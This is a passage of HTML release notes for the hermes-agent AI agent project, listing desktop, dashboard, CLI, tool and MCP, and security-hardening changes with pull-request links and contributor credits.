<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
